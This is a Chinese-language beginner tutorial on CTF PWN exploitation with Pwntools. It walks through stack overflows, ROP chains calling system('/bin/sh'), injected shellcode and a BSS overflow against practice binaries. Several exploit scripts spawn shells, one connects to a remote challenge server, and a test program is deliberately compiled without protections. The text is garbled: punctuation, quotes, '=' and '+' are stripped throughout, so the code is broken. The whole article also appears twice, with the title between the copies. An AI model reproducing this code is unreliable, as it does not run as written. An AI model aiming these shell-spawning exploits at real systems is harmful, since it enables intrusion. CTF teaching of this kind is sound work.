从零玩转PwntoolsCTF PWN入门实战指南第一次接触CTF PWN题目时面对那些神秘的二进制文件和复杂的漏洞利用脚本你是否感到无从下手作为安全竞赛中最具挑战性的方向之一PWN确实有着不低的入门门槛。但别担心今天我们将通过Pwntools这个强大工具带你一步步完成从环境搭建到成功攻击的全过程。本文专为零基础学习者设计即使你之前从未接触过二进制安全也能跟着教程写出自己的第一个EXP脚本亲身体验攻破系统的快感。1. 环境准备与Pwntools安装在开始实战之前我们需要搭建一个适合PWN练习的环境。推荐使用Ubuntu 20.04 LTS或Kali Linux作为基础系统这些发行版已经预装了大部分必要的工具。1.1 基础工具安装首先安装一些基础工具包sudo apt update sudo apt install -y python3 python3-pip git gdb接下来安装Pwntools这是我们的核心工具pip install --upgrade pip pip install pwntools安装完成后可以通过以下命令验证是否安装成功python3 -c import pwn; print(pwn.__version__)提示如果遇到权限问题可以尝试在pip命令后添加--user参数或者使用虚拟环境。1.2 辅助工具配置除了Pwntools我们还需要一些辅助工具checksec用于检查二进制文件的安全机制ROPgadget用于查找ROP链的工具one_gadget用于查找可直接执行execve(/bin/sh)的gadget安装这些工具sudo apt install -y checksec pip install ROPgadget one_gadget1.3 测试环境验证让我们创建一个简单的测试程序来验证环境// test.c #include stdio.h int main() { char buf[10]; gets(buf); return 0; }编译并运行gcc -m32 -fno-stack-protector -z execstack -o test test.c使用checksec检查编译后的程序checksec --filetest你应该能看到类似下面的输出表明我们成功关闭了栈保护Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments2. Pwntools基础使用现在我们已经准备好了环境是时候深入了解Pwntools这个强大的工具了。Pwntools是一个专门为CTF设计的Python库它封装了许多二进制漏洞利用的常用操作让我们能够更高效地编写EXP脚本。2.1 基本组件介绍Pwntools主要由以下几个核心组件构成进程交互本地/远程进程的启动和控制数据打包处理不同字节序的数据转换ELF解析分析二进制文件结构ROP构建辅助构建ROP链Shellcode生成生成各种架构的shellcode2.2 进程交互基础Pwntools提供了三种主要的进程交互方式本地进程process(./binary)远程连接remote(host, port)调试模式gdb.debug(./binary)让我们看一个简单的例子from pwn import * # 启动本地进程 p process(./test) # 发送数据 p.sendline(bA*20) # 进入交互模式 p.interactive()2.3 数据打包函数在处理二进制漏洞时经常需要在不同字节序之间转换数据。Pwntools提供了方便的打包函数函数名描述示例p8/p16/p32/p64打包为指定长度的整数p32(0xdeadbeef)u8/u16/u32/u64从字节串解包为整数u32(b\xef\xbe\xad\xde)flat将多个数据打包为一个字符串flat([p32(0xdeadbeef), bA*10])这些函数会自动处理大小端问题非常方便。3. 实战攻防世界XCTF新手题现在我们已经掌握了Pwntools的基础知识让我们通过一个实际的CTF题目来巩固所学。我们将选择攻防世界XCTF平台的一个新手PWN题目作为示例。3.1 题目分析假设我们面对的是一个名为level1的题目首先下载题目提供的二进制文件wget http://example.com/level1 -O level1 chmod x level1使用checksec检查文件的安全机制checksec --filelevel1输出可能类似于Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments这表明这是一个32位程序没有开启栈保护No canary、NX禁用栈可执行、没有地址随机化No PIE非常适合新手练习。3.2 静态分析使用IDA Pro或Ghidra进行静态分析。我们发现main函数调用了vulnerable_functionvoid vulnerable_function() { char buf[80]; read(0, buf, 200); }明显的栈溢出漏洞buf只有80字节但read可以读取200字节。3.3 寻找利用点检查程序中的字符串rabin2 -z level1发现存在/bin/sh字符串。进一步分析发现程序中有system函数的调用void callsystem() { system(/bin/sh); }3.4 构建EXP脚本现在我们可以开始编写利用脚本了from pwn import * context(archi386, oslinux) # 启动进程 p process(./level1) # 获取callsystem函数地址 elf ELF(./level1) callsystem_addr elf.symbols[callsystem] # 构造payload payload bA * 88 # 填充buf和ebp payload p32(callsystem_addr) # 覆盖返回地址 # 发送payload p.sendline(payload) # 进入交互模式 p.interactive()3.5 远程攻击如果题目需要连接远程服务器只需修改启动方式p remote(111.200.241.244, 51837)其余部分保持不变。4. 进阶技巧与调试方法掌握了基础知识后让我们来看一些进阶技巧帮助你更高效地解决PWN题目。4.1 GDB调试技巧Pwntools与GDB的集成非常方便p gdb.debug(./level1, break *vulnerable_function20 continue )这样可以在特定位置设置断点方便调试。4.2 ROP链构建当程序没有直接提供system(/bin/sh)这样的后门时我们需要构建ROP链from pwn import * context(archi386, oslinux) elf ELF(./level2) rop ROP(elf) # 查找gadget rop.raw(A * 88) # padding rop.call(system, [next(elf.search(b/bin/sh))]) p process(./level2) p.sendline(rop.chain()) p.interactive()4.3 Shellcode编写与使用当栈可执行时我们可以直接注入shellcodefrom pwn import * context(archi386, oslinux) shellcode asm(shellcraft.sh()) p process(./level3) p.sendline(bA*80 p32(0xffffd100) shellcode) p.interactive()4.4 常见问题解决在实践过程中你可能会遇到以下问题地址随机化(ASLR)通过信息泄露获取地址栈保护(Canary)泄露或爆破canary值NX保护使用ROP技术绕过格式化字符串漏洞用于信息泄露或任意写5. 实战案例BSS段溢出让我们再看一个稍微复杂一点的例子BSS段溢出。这类题目通常涉及修改全局变量来控制程序流。5.1 题目分析假设我们有一个名为bss_overflow的题目checksec显示Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)注意到栈保护开启但PIE关闭这意味着我们可以利用BSS段的全局变量。5.2 漏洞定位通过IDA分析发现程序将用户输入存储到BSS段的全局变量中char global_buf[64]; ... read(0, global_buf, 128);附近还有一个关键变量int is_admin 0;我们的目标是通过溢出global_buf来修改is_admin的值。5.3 EXP脚本编写from pwn import * p process(./bss_overflow) # 计算偏移 offset 64 # global_buf大小 offset 8 # 可能的对齐填充 # 构造payload payload bA*offset payload p64(1) # 将is_admin设为1 p.sendline(payload) p.interactive()5.4 结果验证如果程序逻辑正确修改is_admin后应该会获得shell或直接输出flag。6. 64位与32位差异在PWN题目中64位和32位架构有一些重要区别需要注意6.1 调用约定对比特性32位64位参数传递栈寄存器(RDI, RSI, RDX等)返回地址覆盖直接覆盖EIP覆盖RIP栈对齐4字节对齐16字节对齐寄存器大小4字节8字节6.2 64位ROP示例64位下构建ROP链需要注意参数传递from pwn import * context(archamd64, oslinux) elf ELF(./level4) rop ROP(elf) # 设置参数并调用system rop.call(system, [next(elf.search(b/bin/sh))]) p process(./level4) p.sendline(bA*72 rop.chain()) p.interactive()7. 资源与进一步学习掌握了基础之后你可以通过以下资源进一步提升PWN技能7.1 推荐学习平台攻防世界(XCTF)适合新手的练习平台Pwnable.kr从易到难的PWN挑战Pwnable.tw较难的实战题目Hack The Box综合渗透测试平台7.2 学习资料《漏洞利用开发实战》《二进制漏洞利用入门》《CTF竞赛权威指南(PWN篇)》LiveOverflow的YouTube频道7.3 实用工具pwndbg增强版GDB插件gef另一款强大的GDB插件ropperROP gadget查找工具LibcSearcherlibc数据库查询工具记住PWN技能的提高离不开持续的练习和实战。从简单的栈溢出开始逐步挑战更复杂的题目你会在解决每一个问题的过程中不断成长。
新手别怕!从零开始用Pwntools搞定CTF PWN题(附攻防世界XCTF实战脚本)
从零玩转PwntoolsCTF PWN入门实战指南第一次接触CTF PWN题目时面对那些神秘的二进制文件和复杂的漏洞利用脚本你是否感到无从下手作为安全竞赛中最具挑战性的方向之一PWN确实有着不低的入门门槛。但别担心今天我们将通过Pwntools这个强大工具带你一步步完成从环境搭建到成功攻击的全过程。本文专为零基础学习者设计即使你之前从未接触过二进制安全也能跟着教程写出自己的第一个EXP脚本亲身体验攻破系统的快感。1. 环境准备与Pwntools安装在开始实战之前我们需要搭建一个适合PWN练习的环境。推荐使用Ubuntu 20.04 LTS或Kali Linux作为基础系统这些发行版已经预装了大部分必要的工具。1.1 基础工具安装首先安装一些基础工具包sudo apt update sudo apt install -y python3 python3-pip git gdb接下来安装Pwntools这是我们的核心工具pip install --upgrade pip pip install pwntools安装完成后可以通过以下命令验证是否安装成功python3 -c import pwn; print(pwn.__version__)提示如果遇到权限问题可以尝试在pip命令后添加--user参数或者使用虚拟环境。1.2 辅助工具配置除了Pwntools我们还需要一些辅助工具checksec用于检查二进制文件的安全机制ROPgadget用于查找ROP链的工具one_gadget用于查找可直接执行execve(/bin/sh)的gadget安装这些工具sudo apt install -y checksec pip install ROPgadget one_gadget1.3 测试环境验证让我们创建一个简单的测试程序来验证环境// test.c #include stdio.h int main() { char buf[10]; gets(buf); return 0; }编译并运行gcc -m32 -fno-stack-protector -z execstack -o test test.c使用checksec检查编译后的程序checksec --filetest你应该能看到类似下面的输出表明我们成功关闭了栈保护Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments2. Pwntools基础使用现在我们已经准备好了环境是时候深入了解Pwntools这个强大的工具了。Pwntools是一个专门为CTF设计的Python库它封装了许多二进制漏洞利用的常用操作让我们能够更高效地编写EXP脚本。2.1 基本组件介绍Pwntools主要由以下几个核心组件构成进程交互本地/远程进程的启动和控制数据打包处理不同字节序的数据转换ELF解析分析二进制文件结构ROP构建辅助构建ROP链Shellcode生成生成各种架构的shellcode2.2 进程交互基础Pwntools提供了三种主要的进程交互方式本地进程process(./binary)远程连接remote(host, port)调试模式gdb.debug(./binary)让我们看一个简单的例子from pwn import * # 启动本地进程 p process(./test) # 发送数据 p.sendline(bA*20) # 进入交互模式 p.interactive()2.3 数据打包函数在处理二进制漏洞时经常需要在不同字节序之间转换数据。Pwntools提供了方便的打包函数函数名描述示例p8/p16/p32/p64打包为指定长度的整数p32(0xdeadbeef)u8/u16/u32/u64从字节串解包为整数u32(b\xef\xbe\xad\xde)flat将多个数据打包为一个字符串flat([p32(0xdeadbeef), bA*10])这些函数会自动处理大小端问题非常方便。3. 实战攻防世界XCTF新手题现在我们已经掌握了Pwntools的基础知识让我们通过一个实际的CTF题目来巩固所学。我们将选择攻防世界XCTF平台的一个新手PWN题目作为示例。3.1 题目分析假设我们面对的是一个名为level1的题目首先下载题目提供的二进制文件wget http://example.com/level1 -O level1 chmod x level1使用checksec检查文件的安全机制checksec --filelevel1输出可能类似于Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments这表明这是一个32位程序没有开启栈保护No canary、NX禁用栈可执行、没有地址随机化No PIE非常适合新手练习。3.2 静态分析使用IDA Pro或Ghidra进行静态分析。我们发现main函数调用了vulnerable_functionvoid vulnerable_function() { char buf[80]; read(0, buf, 200); }明显的栈溢出漏洞buf只有80字节但read可以读取200字节。3.3 寻找利用点检查程序中的字符串rabin2 -z level1发现存在/bin/sh字符串。进一步分析发现程序中有system函数的调用void callsystem() { system(/bin/sh); }3.4 构建EXP脚本现在我们可以开始编写利用脚本了from pwn import * context(archi386, oslinux) # 启动进程 p process(./level1) # 获取callsystem函数地址 elf ELF(./level1) callsystem_addr elf.symbols[callsystem] # 构造payload payload bA * 88 # 填充buf和ebp payload p32(callsystem_addr) # 覆盖返回地址 # 发送payload p.sendline(payload) # 进入交互模式 p.interactive()3.5 远程攻击如果题目需要连接远程服务器只需修改启动方式p remote(111.200.241.244, 51837)其余部分保持不变。4. 进阶技巧与调试方法掌握了基础知识后让我们来看一些进阶技巧帮助你更高效地解决PWN题目。4.1 GDB调试技巧Pwntools与GDB的集成非常方便p gdb.debug(./level1, break *vulnerable_function20 continue )这样可以在特定位置设置断点方便调试。4.2 ROP链构建当程序没有直接提供system(/bin/sh)这样的后门时我们需要构建ROP链from pwn import * context(archi386, oslinux) elf ELF(./level2) rop ROP(elf) # 查找gadget rop.raw(A * 88) # padding rop.call(system, [next(elf.search(b/bin/sh))]) p process(./level2) p.sendline(rop.chain()) p.interactive()4.3 Shellcode编写与使用当栈可执行时我们可以直接注入shellcodefrom pwn import * context(archi386, oslinux) shellcode asm(shellcraft.sh()) p process(./level3) p.sendline(bA*80 p32(0xffffd100) shellcode) p.interactive()4.4 常见问题解决在实践过程中你可能会遇到以下问题地址随机化(ASLR)通过信息泄露获取地址栈保护(Canary)泄露或爆破canary值NX保护使用ROP技术绕过格式化字符串漏洞用于信息泄露或任意写5. 实战案例BSS段溢出让我们再看一个稍微复杂一点的例子BSS段溢出。这类题目通常涉及修改全局变量来控制程序流。5.1 题目分析假设我们有一个名为bss_overflow的题目checksec显示Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)注意到栈保护开启但PIE关闭这意味着我们可以利用BSS段的全局变量。5.2 漏洞定位通过IDA分析发现程序将用户输入存储到BSS段的全局变量中char global_buf[64]; ... read(0, global_buf, 128);附近还有一个关键变量int is_admin 0;我们的目标是通过溢出global_buf来修改is_admin的值。5.3 EXP脚本编写from pwn import * p process(./bss_overflow) # 计算偏移 offset 64 # global_buf大小 offset 8 # 可能的对齐填充 # 构造payload payload bA*offset payload p64(1) # 将is_admin设为1 p.sendline(payload) p.interactive()5.4 结果验证如果程序逻辑正确修改is_admin后应该会获得shell或直接输出flag。6. 64位与32位差异在PWN题目中64位和32位架构有一些重要区别需要注意6.1 调用约定对比特性32位64位参数传递栈寄存器(RDI, RSI, RDX等)返回地址覆盖直接覆盖EIP覆盖RIP栈对齐4字节对齐16字节对齐寄存器大小4字节8字节6.2 64位ROP示例64位下构建ROP链需要注意参数传递from pwn import * context(archamd64, oslinux) elf ELF(./level4) rop ROP(elf) # 设置参数并调用system rop.call(system, [next(elf.search(b/bin/sh))]) p process(./level4) p.sendline(bA*72 rop.chain()) p.interactive()7. 资源与进一步学习掌握了基础之后你可以通过以下资源进一步提升PWN技能7.1 推荐学习平台攻防世界(XCTF)适合新手的练习平台Pwnable.kr从易到难的PWN挑战Pwnable.tw较难的实战题目Hack The Box综合渗透测试平台7.2 学习资料《漏洞利用开发实战》《二进制漏洞利用入门》《CTF竞赛权威指南(PWN篇)》LiveOverflow的YouTube频道7.3 实用工具pwndbg增强版GDB插件gef另一款强大的GDB插件ropperROP gadget查找工具LibcSearcherlibc数据库查询工具记住PWN技能的提高离不开持续的练习和实战。从简单的栈溢出开始逐步挑战更复杂的题目你会在解决每一个问题的过程中不断成长。